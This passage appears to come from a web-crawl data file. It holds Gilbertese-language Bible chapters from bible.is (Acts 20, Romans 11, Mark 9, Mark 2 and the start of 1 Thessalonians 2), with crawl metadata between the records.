e weteia reirei B'auro ni kaungaia, ao e kabo ma ngaiia. E kitaniia ao e wakina kawaina nako M'aketonia. 2Ngke e tia n ri nukan aaba akekei, ni kaungaia ake a onimaki n taeka aika bati, ao e roko i Erene. 3E tiku iai tenua nam'akaina; ao ngke e nangi borau nako Turia, ao iai I-Iutaia ake a na kam'arua; ma ngaia are e a reke nanona ngkanne b'a e na oki n ri nuukani M'aketonia. 4Ao e iria Tobatero are natini Buro, are te I-Beroia; a iri naba Arititareko ma Tekunro ake I-Tetaronike, ma Kaio are te I-Rerebe, ma Timoteo, ao Tukiko ma Terobimo ake I-Atia. 5A ri moara uakanne n taningaira i Teroa. 6Ao ti borau mai Biribi i mwini baneni bongin te Berena are aki Karikaki; nimabong ara bong, ao ti roko irouia uakekei i Teroa, ao ti tiku iai itibong. 7Ngke ti botaki n am'arake n i raorao ni moani bongin te wiiki are te moa ni bong, ao e anga ana taeka n reirei B'auro i bukina ngke e nangi nako n te ingabong; ao e waaki n taetae ni karokoa e nukanibong. 8E bati te taura n te ru are i eta are ti botaki iai. 9E tekateka n te winto te rorobuaka n ataei temanna ae arana Eutuko. Ngke e kamanna n reirei B'auro, ao e roko i roun Eutuko te nimatutuu ni karokoa e kiro nako ni matu, ao e b'aka i aontano man te bwia are te katenua, ao e tabekaki b'a te mate. 10Ma e ruo B'auro, ao e b'akara aona n rab'atia, ao e kaangai, \"Tai nanokawaki! B'a iai te maiu i rouna.\" 11Ao e a manga rierake B'auro, ao e urua te kariki n am'arake ma ngaiia; e ananau ana tai ma ngaiia b'a a maroroo ni karokoa e a moanna n oota otan taai, ao e a tib'a nako. 12A kaira nako te roronga ngke e maiu, ao a bati ni kabebeteaki nanoia. 13Ao ngaira ti ri moa nakon te kaibuke, ao ti borau nako Ato, b'a ti na aeka iai B'auro: b'a anne are e baireia ngke e kan nako iai n nakonako. 14Ao ngke ti bo ma ngaia i Ato, ao e raoniira, ao ti nako Miturene. 15Ti borau mai Miturene ao ti roko i rarikini Kio ngke e a ingabong; ao n te bong are i mwina ti roko i Tamo; ao n te bong naba are i mwina, ti roko i Mireto. 16B'a e a tia ni moti n ana iango B'auro b'a e na borau n aki kaeta Ebeto, ma e na kitanna: b'a e aki kani kabanea ana tai i Atia, b'a e taenoa ni kan roko i Ierutarem n te bong are Bentekota, ngkana e kona. 17Ao e kananako B'auro mai Mireto nako Ebeto b'a a na weteaki unimm'aanen te ekaretia. 18Ngke a roko i rouna, ao e taku nakoia: Kam ataia b'a ni moa man te bong are I roko i Atia iai, ao i nanon naba boongi ni kabane ake I mena iai iroumi. 19Ao I beku i bukin te UEA ma te nanorinano ni kabanea, ma rannimatau, ri buakoni kataaki ake a b'akarai n aia m'akuri ni kam'am'ane I-Iutaia. 20Bon akea naba te b'ai teuana ae manena ae I taua n aki kaotia nakoimi, ma n aki reireingkami iai i mataia aomata ao n auti nako. 21I kamatoa au taeka nakoia I-Iutaia ma I-Erene n tuangiia b'a a na rairi nanoia nakon te Atua, ao a na onimakina ara UEA are Iesu. 22Ao noria, N nangi nako Ierutarem b'a E kairoroai te Tamnei, ao I aki atai baike a nangi riki nako iu. 23Ma I ti ata ana taeka te Tamnei are Raoiroi nako iu ni kaawa nako, b'a E taku b'a N na kaitaraa ma b'aai ni kabaebae ao te karawaawataaki. 24Ma I kakeaa kakawakini maiu nako iu, b'a I aonga ni katia te baere I waaki iai, ma nakoau are E anganai te UEA are Iesu, are te tataekina te euangkerio are taekan ana akoi te Atua. 25Ao noria, I ataia b'a kam nang aki manga noori matau, ngkami ni kabaneingkami aika I nakonako i buakomi n tataekina uean te Atua. 26Ma ngaia ae I tuangngkami n te bong aei, b'a akea tabeu irouia aomata nako ake a kabuai maiuia. 27B'a akea te b'ai teuana n ana kaantaninga te Atua ae I taua n aki taekinna nakoimi. 28Kam na tarataraingkami ao tararuaia aomata ni kabaneia ake kam kateaki i buakoia iroun te Tamnei are Raoiroi b'a taan tararuaia: kam na tararua ana ekaretia te Atua, are E reke i rouna b'a ana b'ai n raraan Natina. 29I ataia b'a i mwin nakou ao ane a na roko i buakomi aomata aika ai aroia kameanti aika tiritiri, n aki karaua te ekaretia; 30ao ane a na kaoti aomata tem'angina mai buakomi ao a na atongi baika b'aoua, b'a a aonga ni katikiia ake a onimaki b'a raoia. 31Ma ngaia ae tai ni matutu, ao ururingai b'a I aki toki n reireingkami ni kabaneingkami ni bong ao ni ngaina ma rannimatau i nanon tenua te ririki. 32Ao I anga ngkami ngkai nakon te Atua, ao nakon naba ana taeka n akoi, are kona ni kateimatoaingkami ma n anganingkami te kab'aia are E kawakinna i bukiia ake a kaitiakaki ni kabaneia. 33I aki mataiakina ana tirewa te aomata, ma ana koora, ma ana kunnikai. 34Kam bon ataia b'a baiu aikai, ngaiia aika m'am'akuri ni kareke baika I kainanoi, ao ni kareke naba baika a kainanoi aomata ake a mena i rou. 35I a tia ni kaotia nakoimi n aaro nako b'a ti riai ni buokiia aika mamara n te aro aei, ae te bekutata, n aki m'aninga ana taeka te UEA are Iesu, are kaangai, \"E kakab'aia riki te anga nakon te anganaki.\" 36Ngke e a tia n atongi baikai, ao e katorobubua ma aia koraki ni kabaneia, ao e tataro. 37Ao a bane ni katu rannimataia n tang, ao a b'akara aon roroani B'auro ni kaboria ma ngaia. 38A nanokawaki riki n ana taeka are e taku b'a a na aki manga nora matana. Ao a bakaborauia nakon te kaibuke.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/20","date":"2016-10-25T21:29:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720380.80\/warc\/CC-MAIN-20161020183840-00183-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1031,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kaangai ngkanne au titiraki, E kaaki taekaia ana botannaomata te Atua? E bon aki! Bon te Iteraera naba ngai, ae kanoan Aberaam, ae kaain te baronga are Beniamin. 2E aki kaaki taekaia ana botannaomata te Atua ake E a tia n rineia ma ngkoa. Kam aki ata rongorongon Eria n te B'aib'ara, ngke e kabuakakaia Iteraera nakon te Atua? B'a e kaangai: 3\"Te UEA, a kamateia am burabeti, ao a urui am baonikarea; ao ti ngai te nikira, ao a ukoukorai b'a a na anaa maiu.\" 4Ma e kangai ana taeka te Atua nakoina? E kaangai, \"Iai au aomata aika 7,000 aika I katikuia, aika a aki taromauria B'aara.\" 5Ao ai arona naba, b'a i bukin ana akoi te Atua ao a tiku ngkai nikiraia ake E a tia n rineia; 6ao ngkana tiaki i bukin ana akoi ae e riki iai aei, ma i bukin te b'ai are a karaoia ana aomata, ao nanona ngkanne b'a akea koauan ana akoi. 7Ao tera ngkanne ae riki? B'a te baere a ukoukoria Iteraera e aki reke i rouia ni kabaneia, ma ti irouia ake a rineaki; ao nikiraia a kamatoatoaki nanoia; 8n ai aron are koreaki ni kaangai: \"E kananobabaia te Atua n te aro are mataia aki noraba, ao taningaia a teimatoa ni bono.\" 9E taku Tawita, \"Ke e riki aia botaki b'a te b'ai ni kam'am'ane, ma te b'ai ni kab'akab'aka; Ke e riki b'a booni mwin aia m'akuri. 10Ke a karooaki mataia! B'a a aonga n aki noraba. Ao kab'aouai nukaia i aani uotaia n taai nako b'a a na aki kona ni mwemwekaki.\" 11E kaangai ngkanne au titiraki, A b'aka n aki kona ni manga teirake ngke a reke waeia ao a tata nako? A bon aki! Ma e roko te maiu irouia ake tiaki I-Iutaia ngke a bure Iteraera, b'a a aonga ni kabakantangaki. 12Ma ngkana a bati n reke kab'aiaia aomata nako i aonnaba i bukin aia bure Iteraera, ao a bati n reke kab'aiaia aomata aika tiaki I-Iutaia i bukin aroia Iteraera n tibanako ma nanon te Atua, ao ai batiraa riki te kab'aia ae e na reke i rouia ngkana a bane kaain te botannaomata ae Iteraera n rin i nanon te kamaiuaki! 13I taetae nakoimi ngkami aika tiaki I-Iutaia; b'a ngkai aia tia tuatua aomata aika tiaki I-Iutaia ngai, ao N na taua nakoau aei b'a te b'ai ae rangi ni kakawaki i rou. 14B'a a aonga ni bakantang kaain au botannaomata; ao n te aro anne a kona iai ni kamaiuaki tabem'aang i buakoia iroun te Atua n au m'akuri. 15B'a ngkana e riki kaakan taekaia b'a aroia aomata nako n riki b'a raoraon te Atua, ao tera ngkanne aroia ngkana a manga butim'aeaki? Kaanga ai aroia maate ake a manga uti. 16Ngkana e katabuaki m'akoron te kariki b'a ana b'ai te Atua, ao are nikirana bon ana b'ai naba; ao ngkana e katabuaki wakaan te kai b'a ana b'ai te Atua, ao bon ana b'ai naba m'angana. 17Ngkami aika tiaki I-Iutaia, ti te bo ngkami ma m'aangan te kai ae te oriwa are riki n aki akaaka, aika m'aangana ake a katomaaki ni kamaiuaki ma m'aangan te oriwa are unikaki raoi, aika m'aangana ake a tia n oteaki. Kam a tia n onei mwini m'aanga tabeua ake a tia ni koreaki mai iai; ao i bukin aromi aei, ao kam a b'aina te kab'aia are e reke man rikimi b'a m'aangan te kai are unikaki raoi. 18Ma ngaia ae tai taku b'a kam raoiroi riki nakoni m'anga ake a koreaki ni kaakaki. Ma ngkana e reke aei iroumi, ao uringnga b'a tiaki ngkami aika kam kamaiua te wakaa, b'a te wakaa ae kamaiungkami. 19Ane ko na kaangai ngkanne, \"A oteaki m'angana b'a ti aonga n onei mwiia.\" 20E koaua ane ko taku; a oteaki i bukin aia aki-onimaki, ma ngkoe, ko mena ni nem ane ko mena iai i bukin am onimaki. Ma ngaia ae tai b'aina te kainikatonga, ma ko na b'aina te mamaku. 21B'a ngke E kaaki m'aanga ake boni m'aanga ni koaua te Atua, ao ko taku b'a E na aki kona ni karaoia naba nako im? 22Ko nora ngkanne aron ana ataataiaomata te Atua ao arona ni matoatoa: E matoatoa nakoia ake a tia ni b'aka, ma E ataataiaomata nakoimi, ngkana kam teimatoa n onimakina arona nakoimi. Ma ngkana kam aki, ao ane kam na koreaki ni kaakaki. 23Ao te koraki ake m'aanga ake a oteaki ni kaakaki, ngkana a toki man aroia n aki onimaki, ao a kona ni manga kaokaki nakon aroia are rimoa; b'a E kona te Atua ni karaoia. 24B'a ngke ko koreaki man te oriwa are riki n aki akaaka, ao ko katomaaki nakon te oriwa are unikaki raoi, e ngae ngke bon tiaki m'angana ngkoe, ao ai bebete ra riki aroia ni katomaaki m'aanga ake boni m'angan te oriwa are unikaki raoi, ngkana a kaokaki nakon aroia ake rimoa? 25B'a I aki tangiringkami, taari, b'a kam na aki ata te b'ai ae raba aei, b'a kam kaawa ni bakanrabakau iai: b'a iai tem'angina i buakoia Iteraera aika a matoatoa nanoia n rawa n onimaki, ao a na tiku n aroia aei ni karokoa ae e koro m'aitiia aomata aika tiaki I-Iutaia n nakon te Atua. 26B'a n te aro aei, ao a na kamaiuaki kaain te botannaomata ae Iteraera ni kabaneia, n ai aron are koreaki ni kaangai: \"Ane E na nako mai Tion te Tia Kamaiu E na kaaki te buakaka mairouia ana kariki Iakob'a. 27Aio au boraraoi ma ngaiia, ngkana I kab'ara aia bure.\" 28I bukina ngke a rawa I-Iutaia ni butim'aea taekan te euangkerio, ao a riki b'a ana kairiribai te Atua i bukimi, ngkami aika tiaki I-Iutaia. Ma ngkai a teimatoa aroia b'a aomata ngaiia aika rineaki iroun te Atua, ao E bon tangiriia i bukiia aia bakatibu ake a kakannato. 29B'a E aki kona te Atua ni kaoki b'aai ake E a tia n anga, ao E aki kona ni m'aninga taekaia aomata ake E a tia n rineia. 30B'a kam a tia ngkami aika tiaki I-Iutaia n aki ongeaba nakon te Atua ngkoa; ma ngkai, kam a nanoangaki i bukin aia aki-ongeaba I-Iutaia. 31Ao ai arona naba nakoia I-Iutaia: b'a a aki ongeaba ngkai, ma ane a na nanoangaki naba n ai aromi. 32B'a E a tia te Atua ni kabaeia aomata nako i aan te aro n aki-ongeaba, b'a E aonga ni kaota ana nanoanga nakoia ni kabaneia. 33Ai batiraa kaub'ain te Atua, ao ai nanora rabakauna ma ana atatai! Ai kangaanga ra ataakin ana moti, ao ai kangaanga ra kuneakin arona! 34N aron are koreaki ni kangai: \"B'a antai ae ata ana iango te UEA? Ao antai ae anganna taeka ni buobuoki? 35Antai ae anganna te b'ai teuana b'a E aonga ni manga kaoka nakoina boona?\" 36B'a mairoun te Atua b'aai ni kabane; a bane ni karikaki i bukina, ao a na bane ni manga oki nakoina. Ana b'ai te neboaki n aki toki. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/11","date":"2016-10-23T00:27:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719079.39\/warc\/CC-MAIN-20161020183839-00175-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1164,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga taku riki Iesu, \"E koaua ae I a tuangngkami b'a iai ikai aomata aika na aki mate ni karokoa ae a tia n nora uean te Atua b'a e roko ma te m'aka.\" 2I mwin onobong, ao Iesu, E kaira Betero ma Iakobo ma Ioane nako aon te maunga ae rietaata, ao a tiku iai n ti ngaiia. A nora Iesu b'a e bitaki taraana, 3ao a tara ni mainaina n raneanea kunnikaina, te aeka ni mainaina ae e raka riki aroni mainainana nakon are e kona n reke iroun te tia kamainaina kunnikai i aonnaba. 4Ao ngkanne, a kaoti i mataia Eria ma Moote; a taetaenikawai ma Iesu. 5Ao e taetae Betero ao e taku nakon Iesu, \"Te Tia Reirei, ai raoiroi ra b'a ae ti a mena ikai! Ti na karaoi um'anrianna aika tenua, b'a teuana i bukim, ao teuana i bukini Moote, ao teuana i bukin Eria.\" 6E taekina aei b'a a rangi ni maaku, ao e aki ata te b'ai ae riai n taekinna. 7Ao e kaoti te nang, ao e b'aka nuuna i aoia. E roko te b'ana man te nang ae kangai, \"Natiu Teuaei, ae tangiraki i Rou; kam na ongo i Rouna!\" 8A waetata naba ngkekei n taratara nako, ma akea temanna ae a noria riki i rarikiia, b'a ti Iesu n ti Ngaia. 9Ngke a tabe n ruo ri kaki mai aon te maunga, ao E kairoroia b'a a na aki tuanga temanna taekan te b'ai are a tia n noria ni karokoa E a tia ni manga uti man te mate Natin te Aomata. 10A ira nanon ana taeka, ma e titiku te titiraki i nanoia ae kangai, b'a tera nanon te manga-maiu man te mate. 11Ao a titirakinna ni kangai, \"E aera ngkae a taku taani koroboki b'a e riai moa ni kaoti Eria?\" 12Ao E taku nako ia, \"E na bon roko moa Eria b'a e na katauraoi b'aai ni kabane. Ma e aera ngkae e koreaki n te B'aib'ara b'a e na kabatiaki karawawatan Natin te Aomata, ao E na ribaaki? 13I tuangngkami b'a e a tia n roko Eria; ao aomata, a karaoa are a tangiria b'a a kani karaoia nako ina, n ai aron are taekinaki i bukina n te B'aib'ara.\" 14Ngke a roko reirei ake tem'angina i rouia, ao a noriia aomata aika rangi ni bati i rarikiia, ma taani koroboki, b'a a kauntaeka ma ngaiia. 15Ao ngke a nora Iesu aomata, ao a bane ni kuba, ao a biri nako Ina ni kamauria. 16Ao E kaekaia Iesu ni kangai, \"Tera ae kam kauntaekaia ma ngaiia?\" 17E kaeka temanna mai buakoia te m'aiti n aomata arei, ao e taku, \"Te Tia Reirei, I a nikira natiu i Roum, b'a e taniaki iroun te tamnei ae kam'ara ao e aki kona n taetae; 18ike e taniaki iai i rouna, ao e bouaia i aontano, ao ngaia e kabungibaware ao e katiki m'angaina, ao e tikinono rab'atana. I tuangiia am reirei b'a a na kanakoa mai rouna, ma a aki kona.\" 19E taku Iesu nako ia, \"Te botannaomata ae akea ana onimaki; tao maan ra ae N na titiku iai i rarikimi? Ao tao maan ra taotaonakin nanou nako imi? Uota mai te teinimm'aane nako Iu!\" 20A kairiia nakon Iesu. N te tai naba are e nora iai Iesu te tamnei are kam'ara, ao e karaoa ae e riki ni kaatikitiki iai te teinimm'aane arei, ao e b'aka i aontano n rabinobino ma wina ae kabungibaware. 21Ao Iesu, E titirakina taman te teei ni kangai, \"Maan ra te tai ae reke i rouna iai aei?\" Ao ngaia e taku, \"Ma ngke e uarereke. 22A m'aiti ana tai te tamnei ae kam'ara aei ni kan tiringnga ngke e kataia n tewea nako nanon te ai ao nako nanon te ran. Ko na nanoangaira ao buokira ngkana Ko boni kona Ngkoe!\" 23E taku Iesu nako ina, \"Ngkana ko boni kona ngkoe! A konaki b'aai nako iroun ane onimaki.\" 24N te tai naba arei, ao e takarua taman te teei ao e taku, \"Iai au onimaki, ma e aki tau. Buokai b'a e na kam'aitaki riki.\" 25Ao Iesu, ngke E noriia aomata aika m'aiti b'a a bane ni biri, ao E takua te tamnei are kam'ara, ao E taku nako ina, \"Te tamnei ae ko babanga taetae ao ko bonotaninga, I tuangko b'a ko na oti nako mai rouna, ao ko na aki manga rin riki i nanona!\" 26I mwini karikan te teei iroun te tamnei are kam'ara arei b'a e na takarua ao e na kaatikitiki n te aro ae kakaiaki, ao e oti nako mai rouna, ao e riki te teei b'a kaanga ai aron taraan te mate; ma ngaia are a taku m'aitiia aomata, \"E a mate!\" 27Ma Iesu, E taua baina ao E kateirakea, ao ngaia e tei rake. 28Ngke E rin nako nanon te auti Iesu, ao a titirakinna ana reirei ngke ti ngaiia, ao a kangai, \"E aera ngke ti aki kona ni kanakoa te tamnei are kam'ara arei?\" 29E taku nako ia, \"Te b'ai ae ai aron aei, e aki konaki ni kanakoaki n te aro teuana b'a ti n te tataro.\" 30Ao E kitana te tabo arei Iesu ma ana reirei, ao a m'ananga nako n ri nuukani Kariraia. E aki tangira temanna b'a e na ata te tabo are E mena iai, 31i bukina b'a E reireiia ana reirei n taeka aika kangai: \"E nang kam'aneaki Natin te Aomata nako nanoni baiia aomata, ao a na tiringnga; ao ngkana E mate, ao E na manga uti i mwin tenibong.\" 32Ma a aki ata nanon ana taeka n reirei, ao a maaku n titirakinna. 33A roko i Kaberenaum, ao ngke a mena i nanon te auti, ao Iesu E titirakiniia ana reirei ni kangai, \"Tera te b'ai are kam kauntaekaia n te kawai?\" 34A aki kaeka Iesu, i bukina b'a i aoni kawaia ao a tia ni kauntaeka i marenaia b'a antai te kabanea ni kakannato i buakoia. 35E tekateka Iesu, ao E weteia ana reirei ake tengauni ma uoman, ao E taku nako ia, \"Ane kan riki ni moa ni b'ai ao ke e karikia b'a te kabane ao te toro irouia aomata nako.\" 36Ao ngkanne, E anaa te teei ao e kaki i mataia. E kaki baina ni m'aneia mai akuuna, ao E taku nako ia, 37\"Ane m'anea n akoa te teei temanna mai buakoia ataei aikai i nanon Arau, ao e m'aneai n akoai; ao ane m'aneai n akoai, ao e aki m'aneai n ti Ngai, ma e m'anea n akoa naba Teuare kanakomaiai.\" 38E taku Ioane nako Ina, \"Te Tia Reirei, ti a tia n nora teuae kanakoia taimonio n Aram, ao ti tuangnga b'a e na aki manga karaoia i bukina b'a tiaki raora.\" 39Ma E taku Iesu nako ia, \"Tai katokia; b'a akea ane karaoi m'akuri aika m'aka n Arau ae na tabeki taeka ni kabuakakaai i nanon taai aika rimwi. 40B'a ane aki ekira nako, ao bon raora. 41I koaua raoi n au taeka aei nako imi, b'a ane anganingkami te m'angko n ran b'a kam na moi iai i bukin ae kam ingoanaki n Arau, ao e na boni karekea kaniwangana. 42Ane kaira temanna i buakoia aika uarereke aikai, aika onimakinai, nakoni karaoan te bure, ao e raoiroi riki nako ina b'a e na katineaki te atibu ae rawawata i roroana, ao e na teweaki nako i tari. 43- 44Ao ngkana e kairiko baim teaina nakoni karaoan te bure, ao koreia, kaki; b'a e raoiroi riki rinim n te maiu ma baim teaina ae akea nakon ae ko nako Keenna ma baim aika uaai nakon te ai are aki mamate. 45- 46Ao ngkana e kairiko waem teaina nakoni karaoan te bure, ao koreia, kaki; b'a e raoiroi riki rinim n te maiu ma waem teaina ae akea nakon ae ko karenakoaki nako Keenna ma waem aika uaai. 47Ao ngkana e kairiko matam teuana nakoni karaoan te bure, ao autia, kaki; b'a e raoiroi riki nakon ae ko kawakini matam aika uoua ao ko karenakoaki i Keenna, 48ike e aki mamate iai te ino, ao e aki mamate naba iai te ai. 49A na bane aomata nako ni kataaki ri nanon te karawawataaki. 50E raoiroi te taoro, ma ngkana e a bane taorona, ao ko na iranna ni karaoia b'a e na manga reke taorona? B'aina te taoro n i-raorao i marenami, ao kam na maeka ma te rau i marenami.\"\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/9","date":"2016-12-10T08:13:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542972.9\/warc\/CC-MAIN-20161202170902-00366-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1409,"character_repetition_ratio":0.049,"word_repetition_ratio":0.011,"special_characters_ratio":0.261,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i mwin tabeua te bong, ao E a manga roko Iesu i Kaberenaum, ao e taekinaki b'a E mena i nanon te auti. 2Ao a botaki aomata aika bati, ma ngaia are akea te nne ae m'awa, ao akea naba n te mataroa; ao E kab'arab'ara nako ia. 3Ao iai ake a roko, ao a uota nako Ina temanna ae nakibaina, ae tabetabekaki irouia aomata aika aman. 4Ao ngke a aki kona ni kaania Iesu b'a a bati aomata, ao a kauka taubukin te auti ike E mena i aana Iesu; ao ngke a tia ni kaukia ao a nna te nne ni wene are e wene iai te nakibaina. 5Ao Iesu, ngke E noori aia onimaki, ao E taku nakon te nakibaina, \"Natiu, a kab'araki am bure.\" 6Iai taani koroboki ake a tekateka ikekei ma n titiraki i nanoia, ni kangai, 7\"E aera ngkae E taetae Teuaei n ai aron anne? E taetae ni bakanatua! Bon tii te Atua ae kona ni kab'arai buure!\" 8Ao Iesu, E kakoaua i nanona n te tai naba arei b'a iai te titiraki i nanoia, ma ngaia are E taku nako ia, \"Kam aera ngkai kam iango n titiraki i nanomi? 9E nga ae kai atongaki riki, te taetae ae kangai nakon te nakibaina, A kab'araki am bure; ke te kangai, Tei rake, tabeka nem ni wene, ao nakonako? 10B'a kam aonga n ataia b'a E kona Natin te Aomata ni kab'arai buure i aon te aba,\" E taku nakon te nakibaina, 11\"Tei rake, ao tabeka nem ni wene, ao nako n am auti.\" 12Ao teuarei, e tei rake, ao e tabeka nnena ni wene n te tai naba arei, ao e oti nako i mataia te koraki akekei ni kabaneia; ma ngaia are a bane ni mimi, ao a kamoamoa te Atua ni kangai, \"Ti tuai man nonora te aro aei ma rimoa!\" 13Ao Iesu E a manga nako rarikin te nama; ao a bane n nako Ina aomata, ao E reireiia. 14Ao ngke E waki i aoni kawaina, ao E nora Rewi are natin Areb'aio b'a e tekateka n aobitin te taekiti; ao E taku Iesu nako ina, \"Ko na irirai.\" Ao ngaia e tei rake ao e iria. 15I mwiina ao Iesu e am'arake n ana auti Rewi, ao a raonna n am'arake taan anai taekiti ma aomata aika buakaka aika m'aiti, ma ana reirei; b'a a m'aiti aomata ake a iririia. 16Ao ngke a nora Iesu taani koroboki ma B'aritaio b'a E am'arake ma taan anai taekiti ma aomata aika buakaka, ao a taku nakoia ana reirei, \"E aera ngkae E am'arake ma ni moi ma taan anai taekiti ma aomata aika buakaka?\" 17Ngke E ongo Iesu, ao E taku nako ia, \"Te koraki aika marurung, a aki kainanoa te tia katoki aoraki, ma e kainanoaki irouia aika a aoraki: I roko, tiaki b'a N na weteia akana raoiroi, ma I roko b'a N na weteia akana buakaka.\" 18A aki mamatam ana reirei Ioane ma aia reirei B'aritaio. A roko aomata i roun Iesu ao a taku, \"A aera ngkai a aki mamatam ana reirei Ioane ma aia reirei B'aritaio, ao a mamatam am reirei?\" 19E taku Iesu nako ia, \"A kona n aki mamatam taan raona te tia iein ngkae E boni mena i buakoia te tia iein? Ngkai raoia te tia iein, ao a aki kona n aki mamatam. 20Ane a na roko boong, are e na uotaki nako iai te tia iein mai buakoia; anne ngkanne te tai are a na aki mamatam iai. 21\"Akea ae ituua te moti ni kunnikai ae boou i aon te kunnikai ae a b'ai nikawai; b'a ngkana e ituua ao ane e na tebenako are e boou man are e a b'ai nikawai, ao e na ab'ab'aki riki raeuakina. 22Ao akea ae atoa te wain ae boou nako nanoni nne ni wain aika kuun aika b'ai nikawai aika kuniia maan, b'a ngkana e atoia ao te wain e na urui nne akanne; e na waanako te wain, ao a na uruaki nena: b'a te wain ae boou e riai n atoaki nako nanoni nena aika kuun aika boou aika kuniia maan.\" 23N te bong ae te Taabati, ao Iesu, E nakonako ri nukan taabo ake a unikaki iai aroka aika uita. Ao ana reirei a kiniki uaa n uita ngke a nakonako ma Ngaia. 24Ma ngaia are a taku nako Ina B'aritaio, \"Noria, e ekakinako ara tua n te b'ai ane a karaoia am reirei n te Taabati!\" 25Ao E kaekaia Iesu ni kangai, \"Kam tuai meni wareka taekan te b'ai are e karaoia Tawita n te tai are e kainano iai ma raona ngke a mate ni baki? 26B'a e rin n ana auti te Atua ao e kana te berena are Kaotiotaki, are katauaki i bukin te Atua. E riki aei n ana tai n tei Abiata ngke mataniwiia ibonga ngaia. N taekan ara tua, ti ibonga aika kona ni kana te berena arei ma Tawita, e kanna ao e anganiia naba raona b'a a na kanna.\" 27Ao E taku nako ia, \"E karaoaki te Taabati i bukin te aomata, ma e aki karaoaki te aomata i bukin te Taabati; 28ma ngaia ae Natin te Aomata bon Uean naba te Taabati.\"\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/2","date":"2016-12-10T21:10:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543567.64\/warc\/CC-MAIN-20161202170903-00359-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":875,"character_repetition_ratio":0.056,"word_repetition_ratio":0.002,"special_characters_ratio":0.26,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a kam bon ata rinra i buakomi, taari, b'a e aki matebuaka; 2ao n aron ae kam ataia, ti a tia ni kamarakaki ma ni b'ainikirinaki i Biribi, ma ti ninikoria iroun Atuara n taekina ana euangkerio nako imi ma te kekeiaki ae bati. 3B'a arora ni kaungai nanomi e aki nako man te nano ae aki eti, ke man te nano ae kammaira, ma ni kani m'am'ana te aba: 4ma ngkai ti a tia ni kakoauaki iroun te Atua i mwini kataakira i Rouna b'a ti riai ni mwiokoaki i bukin tataekinan te euangkerio, ao ti bon riai n taetae, n aki kakukureia aomata, ma ti na kakukureia te Atua are Ngaia ae katai nanora b'a ua ra. 5B'a ti bon aki taetae ni karangingkami, n ai aron ae kam ataia: ao ti aki taetae ma nanora ni kani b'aib'ai ae raba, ara tia kakoaua te Atua. 6Ti aki ukoukora kamoamoara mairouia aomata, ke mai roumi, ke mairouia tabem'aang. 7E boni ngae ngke iai ara kona n tangiri b'aai i bukira mai roumi, ngkai ana tia tuatua Kristo ngaira; ma ti nimamannei i buakomi, n ai aron te tia tob'a ngkana e akoia oin natina. 8Ma ngaia ae ngkai ti rangi n tangiringkami, ao ti aki kan anganingkami ti ana euangkerio te Atua, ma ti kan anganingkami naba maiura, ngkai kam a riki ni bati n tangiraki i roura. 9Taari, kam bon uringa ara m'akuri b'a e kakua ao e kanganga; ngke ti m'akuri n te bong ao n te ngaina, b'a ti aonga n aki karawawata temanna i buakomi n ara tai n tataekina ana euangkerio te Atua nako imi. 10Ara taani kakoaua ngkami ma te Atua naba, n arora ake ti b'ain nako imi, ngkami aika kam onimaki; b'a ti b'aina te maiu ae itiaki ae karaoa nanon te Atua ao ae akea kabuakakana. 11Ao kam bon atai naba arora nako imi b'a kanga aron te tama nakoia oin natina. 12Ni kaungaingkami, ma ni kabebeteingkami, ma n tuatuangkami b'a kam na b'aina te maiu ae boraoi ma nanon te Atua, ae weteingkami nako nanon ueana ma neboakina. 13Ao aei naba bukin te bae ti aki toki ni katituaraoa iai te Atua: b'a ngke kam butim'aea ana taeka te Atua mai roura, ao kam kaki i nanomi b'a tiaki aia taeka aomata, ma n etina ni koaua, bon ana taeka te Atua ane m'am'akuri i nanomi ngkami akana kam onimaki. 14Taari, kam riki ni katotongiia ana ekaretia te Atua i Iutaia, aika ana aomata Kristo Iesu, i bukina b'a kam a tia ni b'ainikirinaki naba irouia ami aomata ni baika ti te bo aroia ma ake a b'ainikirinaki iai irouia I-Iutaia; 15ake a kamatea te Uea are Iesu ma taiani burabeti, ao a kakioira nako naba. A aki kakukureia te Atua, ao a ekianako nako aomata ni kabaneia; 16ao a kataia n tukiira b'a ti na aki taetae nakoia aomata aika tiaki I-Iutaia, n taeka aika a na kamaiuaki iai. 17Ma ngaira, taari, ngkai ti raure ma ngkami n rab'atara, ma tiaki n nanora, n te tai ae 